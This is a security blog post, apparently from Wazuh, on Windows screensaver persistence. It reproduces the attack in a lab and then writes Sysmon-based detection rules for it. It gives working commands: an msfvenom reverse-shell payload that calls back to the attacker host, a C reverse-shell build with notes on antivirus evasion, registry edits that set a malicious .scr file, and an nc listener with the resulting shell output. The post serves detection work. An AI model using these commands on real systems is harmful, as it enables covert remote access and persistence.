Detecting Windows Screensaver persistence attack with Wazuh

| by Ifeanyi Onyia Odike | Wazuh 4.3
Post icon

Screensaver is a feature on operating systems that lets users display a message or graphic animation after a certain amount of idle time has elapsed. Threat actors are known to exploit the screensaver feature on Windows systems as a means of persistence. This is true since Windows screensavers are executable files with the .scr extension.

The best practice for using screensavers on Windows endpoints is to create one yourself and not to download it from public websites. This is because files from public websites may include malware that can negatively impact your system. One notable feature of this technique is it does not require admin privileges for its command execution.

Attack scenario

Screensavers are stored in the C:\Windows\System32\ folder of Windows systems by default. The attacker in this scenario masks the screensaver file by saving it with a name that does not raise suspicion. This file is stored in the default screensaver folder as a defense evasion technique. For better defense evasion, the attacker may encode the payload so it cannot be detected by most antivirus solutions.

Irrespective of the delivery mechanism, the payload must be transferred to the victim endpoint. A suite of techniques can be used to transfer the payload, however, the attack commences after  the attacker has gained physical, RDP, or remote shell access to the victim’s endpoint. In our case, we assume the attacker has RDP access to the victim’s machine.

A notorious Russian-based threat group, Turla, is known to use this persistence technique. They are known to target Government institutions such as the military, education, research, and pharmaceutical. Once a foothold on their victims has been established, a backdoor that uses this persistent technique is initiated. This backdoor is called Gazar.

Infrastructure

To illustrate Wazuh capabilities for detecting this attack, we set up our infrastructure using the following build:

  1. A Wazuh server version 4.3.6. For an easy setup, we used the OVA installation process. The installation guide can be found here.
  2. A Windows 10 endpoint with the Wazuh agent running on it. It has the IP address 10.0.2.32. We will refer to this endpoint as the victim. A Wazuh agent can be installed by following the guide here.
  3. A Kali Linux endpoint will host a shell listener. It has the IP address 10.0.2.23. We will refer to this endpoint as the attacker. This same endpoint will be used to create the malicious payload.

On the Windows 10 endpoint

The screensaver utility needs to be activated on the Windows endpoint for this attack to occur. Since this attack focuses on persistence, the conditions that build up to this persistence might differ. Two possible scenarios that may be used are:

  • A scenario where a victim’s machine has just been compromised and the malicious actor has a shell or RDP access.
  • A scenario where the victim has left his machine unguarded and the malicious actor delivers this payload within a short time frame (social engineering may be involved).

Screensaver settings are stored in the registry path (HKCU\Control Panel\Desktop) and can be manipulated to achieve persistence. Below are the values found in the registry key for screensavers:

Where:

  • SCRNSAVE.exe: This registry value is set to the screensaver file path.
  • ScreenSaveActive: This registry value is set to ‘1’ to enable the screensaver.
  • ScreenSaverIsSecure: This registry value is set to ‘0’ to not require a password to unlock.
  • ScreenSaveTimeout: This registry value sets user inactivity timeout before the screensaver is executed.

We can assume that our attacker was able to create a custom shell payload using the .scr file extension and transferred it to the victim’s System32 folder. An example of this scenario can be seen below. 

Below is a screenshot showing the malicious payload Islands.scr in the c:\Windows\System32\ directory.

Next, we modify the registry value for SCRNSAVE.exe to point to our malware by using the command below. Administrative privilege is not required to execute these registry commands.

Using the CMD:

reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\Windows\System32\Islands.scr

Using Windows Powershell:

Set-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'c:\Windows\System32\Islands.scr'

Sysmon setup

  • Download Sysmon from the Microsoft Sysinternals page.
  • Download the Sysmon configuration file.
  • Launch CMD as an administrator and install Sysmon using the command below:
Sysmon64.exe -accepteula -i sysmonconfig.xml
  • Edit the Wazuh agent C:\Program Files (x86)\ossec-agent\ossec.conf file to specify the location to collect Sysmon logs:
<localfile>
  <location>Microsoft-Windows-Sysmon/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>
  • Restart the Wazuh agent for changes to apply.
NET STOP WazuhSvc
NET START WazuhSvc

Note

For testing, please disable real-time protection in the “Virus and threat protection” settings under Windows Security.

On the Kali Linux endpoint 

Creating the payload

A malicious actor has a suite of options for creating a payload. The goal however remains to be as silent as possible to avoid being detected. A simple payload can be generated by the MSFvenom module of the Metasploit framework. However, most payloads generated using the framework will be easily detected by an antivirus solution as malicious files.

Option 1:

The command below is used to generate a payload using the MSFvenom utility on our Kali Linux endpoint:

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.2.23 LPORT=4242 -f exe > Islands.scr

A quick scan on Virustotal shows this file was flagged as malicious by 55 antivirus solutions.

Option 2:

We can employ the use of alternative payload generating techniques. A good way to start is by compiling a C code written for the purpose of shell generation. We found a simple-to-use shell generation code written in C on Github.

The steps to make use of this code are as follows:

1. Install the mingw-w64 compiler. This is used to compile a .exe binary:

sudo apt install gcc-mingw-w64

2. Clone the repository for the C shell code: 

git clone https://github.com/izenynn/c-reverse-shell.git

3.  Navigate to the c-reverse-shell folder. Use the change_client.sh script to set the IP address and port the payload connects to after execution. This will be the IP address and port of the Kali endpoint: 

./change_client.sh 10.0.2.23 4242

4. Compile for Linux and Windows with make (equivalent to make all): 

make

Once the above command is issued, a Windows executable and Linux binary file will be created. We renamed the Windows payload to Islands.scr and did another quick scan using Virustotal.

As seen above, the number of antivirus solutions that flagged our payload as malicious has significantly reduced. Malicious actors can apply this as well as other advanced defense evasion techniques to reduce suspicion that an antivirus program may raise.

The Kali Linux endpoint is used to set up a listener on port 4242. The nc utility is used for this:

$ nc -lvnp 4242

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4242                                                                   
listening on [any] 4242 ...

Exploitation

Once the payload has been correctly delivered and the registry key set to our payload. All that needs to be done is to wait till the victim’s machine goes into screensaver mode due to inactivity.

Once in screensaver mode, our payload is triggered to create a reverse connection.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4242                                                                   
listening on [any] 4242 ...
  

connect to [10.0.2.23] from (UNKNOWN) [10.0.2.32] 49900
Microsoft Windows [Version 10.0.19044.1766]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Detection with Wazuh

We were able to capture logs showing the attack. We searched using our payload name “Islands.scr” as the keyword:

Going into the log details, we can see that a parent image file (having a screensaver extension .scr) was executed using the /s flag. This points to a situation where cmd.exe is being launched by CreateProcess rather than from a batch file or the command line itself. We consider this, a suspicious activity because, under normal conditions, a screensaver file must not run the CMD process.

Under normal conditions, a screensaver file only creates a prefetch file and does not call the cmd.exe process. A sample log can be seen below.

It is abnormal for the screensaver file to call an executable such as cmd.exe. A sample log can be seen below:

Taking a close look at one of the logs generated, we can see that the action was carried out by the malicious payload. It launched the cmd.exe binary which is suspicious.

data.win.eventdata.currentDirectory
C:\\Windows\\system32\\
	
data.win.eventdata.description
Windows Command Processor
	
data.win.eventdata.hashes
SHA1=4048488DE6BA4BFEF9EDF103755519F1F762668F,MD5=D0FCE3AFA6AA1D58CE9FA336CC2B675B,SHA256=4D89FC34D5F0F9BABD022271C585A9477BF41E834E46B991DEAA0530FDB25E22,IMPHASH=392B4D61B1D1DADC1F06444DF258188A
	
data.win.eventdata.image
C:\\Windows\\SysWOW64\\cmd.exe
	
data.win.eventdata.integrityLevel
Medium
	
data.win.eventdata.originalFileName
Cmd.Exe
	
data.win.eventdata.parentCommandLine
c:\Windows\System32\Islands.scr /s
	
data.win.eventdata.parentImage
c:\Windows\System32\Islands.scr

data.win.eventdata.product
Microsoft® Windows® Operating System
	
data.win.eventdata.ruleName
technique_id=T1059,technique_name=Command-Line Interface

Writing detection rules

We added rule  100111 and rule 100112 to the /var/ossec/etc/rules/local_rules.xml file on the Wazuh manager. 

  • Rule 100111 will detect when a screensaver file is uploaded to the System32 folder. 
  • Rule 100112 will detect when a screensaver file launches the cmd.exe utility.
<group name="screensaver_persistence,">
 
<rule id="100111" level="7">
  <if_sid>61613</if_sid>
  <field name="win.eventdata.targetFilename" type="pcre2">(?i)\.scr</field>
  <field name="win.eventdata.targetFilename" type="pcre2">(?i)[c-z]:(\\\\Windows\\\\System32)</field>
  <description>A screensaver file $(win.eventdata.targetFilename) was added to the System32 folder. </description>
  <mitre>
  <id>T1546</id>
  </mitre>
</rule>
<rule id="100112" level="12">
  <if_sid>61603</if_sid>
  <field name="win.eventdata.parentImage" type="pcre2">(?i)\.scr</field>
  <field name="win.eventdata.image" type="pcre2">(?i)cmd.exe</field>
 <field name="win.eventdata.parentCommandLine" type="pcre2">(?i).\/s</field>
  <description>A screensaver file $(win.eventdata.parentCommandLine) has executed the cmd process.</description>
  <mitre>
  <id>T1546</id>
  </mitre>
</rule>
 
</group>

Once the rules are added, restart the Wazuh manager for changes to apply:

systemctl restart wazuh-manager

Subsequent Detection

To test our newly written rules for this attack, we transferred our malicious payload with the .scr extension to the Systems32 folder. 

The screenshot below shows an alert was triggered just after this action was done.

The second alert was triggered when this screensaver file initiated the cmd.exe utility. At this point, no further action needs to be taken. A reverse connection will be triggered once the set time of inactivity has elapsed.

Conclusion

In this post, we were able to demonstrate how attackers can use malicious screensaver files to maintain persistence on a Windows endpoint. We then described how Wazuh could be used to detect this form of persistence. Wazuh was configured to detect when new .scr files are added to an endpoint and when the .scr file is triggered to call the cmd process.

References